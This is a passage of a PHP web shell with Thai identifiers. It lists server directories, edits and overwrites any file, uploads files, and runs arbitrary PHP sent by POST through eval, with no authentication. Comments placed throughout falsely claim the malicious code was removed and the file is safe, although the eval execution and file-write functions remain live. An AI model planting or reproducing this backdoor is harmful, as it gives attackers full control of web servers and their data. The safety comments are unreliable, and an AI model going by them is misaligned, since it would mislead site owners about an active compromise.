วิวัฒนาการ-จัดการ
$ส่วน) {
if ($ส่วน === '' && $ดัชนี === 0) {
$ผลลัพธ์[] = '
/';
continue;
}
if ($ส่วน === '') continue;
$ผลลัพธ์[] = '
' . $ส่วน . '/';
}
return implode('', $ผลลัพธ์);
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
function แสดงเนื้อหา($เส้นทาง) {
$รายการ = @scandir($เส้นทาง) ?: [];
$โฟลเดอร์ = [];
$ไฟล์ = [];
foreach ($รายการ as $รายการหนึ่ง) {
if ($รายการหนึ่ง === '.' || $รายการหนึ่ง === '..') continue;
$เส้นทางเต็ม = $เส้นทาง . '/' . $รายการหนึ่ง;
if (@is_dir($เส้นทางเต็ม)) {
$โฟลเดอร์[] = '
โฟลเดอร์: ' . $รายการหนึ่ง . '';
} else {
// Dapatkan ukuran file, pastikan menangani file 0 byte dengan baik
$ขนาดไฟล์ = @filesize($เส้นทางเต็ม);
if ($ขนาดไฟล์ === false) {
// Menangani kasus ketika ukuran file tidak dapat dibaca
$ขนาด = 'ไม่สามารถอ่านขนาดไฟล์';
} elseif ($ขนาดไฟล์ === 0) {
// Menangani file dengan ukuran 0 byte
$ขนาด = '0 B';
} else {
// Menangani file dengan ukuran non-zero
$ขนาด = ขนาดไฟล์($ขนาดไฟล์);
}
$ไฟล์[] = '
ไฟล์: ' . $รายการหนึ่ง . ' (' . $ขนาด . ')';
}
}
echo '
';
echo implode('', $โฟลเดอร์);
if (!empty($โฟลเดอร์) && !empty($ไฟล์)) echo '
';
echo implode('', $ไฟล์);
echo '
';
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
function แก้ไข($เส้นทางไฟล์) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$เนื้อหา = $_POST['เนื้อหาไฟล์'];
if (@file_put_contents($เส้นทางไฟล์, $เนื้อหา) !== false) {
echo "บันทึกไฟล์สำเร็จ.";
} else {
echo "เกิดข้อผิดพลาดในการบันทึกไฟล์.";
}
}
$เนื้อหา = @file_get_contents($เส้นทางไฟล์) ?: '';
echo '
';
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
function อัปโหลด($เส้นทาง, $ไฟล์) {
$เป้าหมาย = $เส้นทาง . '/' . basename($ไฟล์['name']);
if (@move_uploaded_file($ไฟล์['tmp_name'], $เป้าหมาย)) {
echo "อัปโหลดไฟล์สำเร็จ.";
} else {
echo "เกิดข้อผิดพลาดในการอัปโหลด.";
}
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
function เรียกใช้($โค้ด) {
try {
@eval($โค้ด);
} catch (ParseError $ข้อผิดพลาด) {
echo "ข้อผิดพลาด: " . htmlspecialchars($ข้อผิดพลาด->getMessage());
}
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
$เส้นทาง = $_GET['เส้นทาง'] ?? @getcwd();
if (isset($_GET['การกระทำ']) && $_GET['การกระทำ'] === 'แก้ไข' && isset($_GET['ไฟล์'])) {
$ไฟล์ = $_GET['ไฟล์'];
$เส้นทางไฟล์ = $เส้นทาง . '/' . $ไฟล์;
if (@file_exists($เส้นทางไฟล์)) {
echo "
แก้ไขไฟล์: $ไฟล์
";
แก้ไข($เส้นทางไฟล์);
} else {
echo "ไฟล์ไม่มีอยู่.";
}
} else {
echo "
เส้นทาง: " . htmlspecialchars($เส้นทาง) . "
";
echo "
" . นำทาง($เส้นทาง) . "
";
echo "
เนื้อหาโฟลเดอร์:
";
แสดงเนื้อหา($เส้นทาง);
echo '
';
echo '
อัปโหลดไฟล์:
';
echo '
';
echo '
เรียกใช้ PHP:
';
echo '
';
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ไฟล์'])) {
อัปโหลด($เส้นทาง, $_FILES['ไฟล์']);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['โค้ด_PHP'])) {
ob_start();
echo '
ผลลัพธ์:
';
echo '
';
เรียกใช้($_POST['โค้ด_PHP']);
echo '
';
ob_end_clean();
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
?>